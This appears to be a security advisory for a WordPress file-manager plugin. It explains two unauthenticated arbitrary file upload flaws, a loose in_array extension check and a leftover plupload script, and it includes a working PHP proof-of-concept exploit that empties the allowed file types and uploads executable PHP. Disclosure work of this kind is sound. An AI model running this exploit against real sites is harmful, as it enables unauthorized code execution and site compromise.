Front end file upload and manager Plugin [Unauthenticated Arbitrary File Upload]

Description

Update 2016-09-20: This was disclosed here. It seems like the author of the plugin haven’t responded yet regarding this vulnerability.

This vulnerability is related to WooCommerce Product Addons [Unauthenticated Arbitrary File Upload] (DWF-2016-87130). They both use the same so called NM_Framwork framework, they are from the same author and both have an insecure implementation of the file upload functionality.

Method 1

Like the DWF-2016-87130 the user can use a set of AJAX actions in order to upload arbitrary files to the vulnerable server. Those actions are defined in \NM_WP_FileManager::_setup() method by \NM_Framwork_V1_filemanager::$ajax_callbacks property:

$this->ajax_callbacks = array (
        'save_settings', // do not change this action, is for admin
        'save_file_meta',
        'save_file_data',
        'upload_file',
        'delete_file',
        'delete_file_new',
        'delete_meta',
        'save_edited_photo',
        'load_shortcodes',
        'get_form_meta',
        'send_files_email',
        'delete_all_posts',
        'update_file_data',
        'delete_all_directores_of_user',
        'share_file',
        'edit_file_meta',
);

The difference here is that this plugin let the user limit the uploaded files to a certain extensions defined in plugin options. First the plugin uses the WordPress function \wp_check_filetype() to check a if the uploaded file has an allowed extension. This function returns an array which has the false value in the ext index.

$file_type = wp_check_filetype($_REQUEST ["name"], null );

Then it checks this result using the `` function.

if( !in_array($file_type['ext'], $allowed_types) ){
    $response ['status'] = 'error';
    $response ['message'] = __ ( 'File type not valid', 'nm-filemanager' );
    die ( json_encode($response) );
}

But because this isn’t a strict comparison the condition will be false if $file_type['ext'] is false and $allowed_types is empty. So all an attacker has to do is first update the allowed file types to an empty string and then use this action to upload any file he desires.

Method 2

Uploading files as an unauthenticated user is also possible if the attacker calls the script wp-content/plugins/nmedia-user-file-uploader/js/plupload-2.1.2/examples/upload.php. This script is a leftover from the library plupload and it seems that this is actively exploited in the wild. For this script to work the PHP env var upload_tmp_dir must be set and it has to point to a location readable and writable by the user that executes the script. In many systems this var is empty by default so the aforementioned script will try to create a dir in system root folder so normally will fail.

In the case which this var is set and pointing to readable-writable dir then a request like the next one will upload a file in the vulnerable webserver.

This method seem to first be reported here more than a year before. They claim that author was contacted, yet the no fix is available.

PoC

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Front end file upload and manager Plugin [Unauthenticated Arbitrary File Upload]
 *
 * Author: Pan Vag <[email protected]>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Request;

$url = Config::get( 'url.base', null, true, 'Enter the site URL' );

if ( ! $url ) {
    Cli::writeError( 'You must enter a valid URL' );
    exit( ExitCodes::EXIT_CODE_FAILED_PRECONDITION );
}

Cli::writeInfo( 'Updating settings to set allowed file types to empty string...' );

$postData = [
    'nm_filemanager_file_types' => '',
    'action' => 'nm_filemanager_save_settings'
];

$r = Request::post( Endpoint::adminAjaxURL(), [], $postData );

if ( ! $r->success || strpos( $r->body, 'All options are updated' ) === false ) {
    Cli::writeError( 'Failed to update settings. Testing file upload anyway' );
} else {
    Cli::writeSuccess('Options updated, uploading exploit...');
}


$fileName   = uniqid() . '.php';
$identifier = uniqid();

$postData = [
    'action' => 'nm_filemanager_upload_file',
    'name'   => $fileName,
];

Cli::writeInfo( 'Sending payload...' );

$r = Request::upload( Endpoint::adminAjaxURL(),
    $postData,
    [
        'file' => [
            'fileContents' => "<?php echo '{$identifier}';unlink(__FILE__);",
            'fileName'     => $fileName,
            'contentType'  => 'image/png',
        ],
    ] );


$rJson = @json_decode( $r->body );

if ( ! isset( $rJson->file_name ) ) {
    ExitCodes::exitWithFailed( 'Upload failed' );
}

Cli::writeInfo( 'Verifying exploit...' );

$uploadsPath = Endpoint::uploadsURL() . '/user_uploads/' . $rJson->file_name;

$r = Request::get( $uploadsPath );

if ( ! $r->success || $r->body != $identifier ) {
    ExitCodes::exitWithFailed( 'Verification failed' );
}

ExitCodes::exitWithSuccess( 'Exploitation successful' );

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX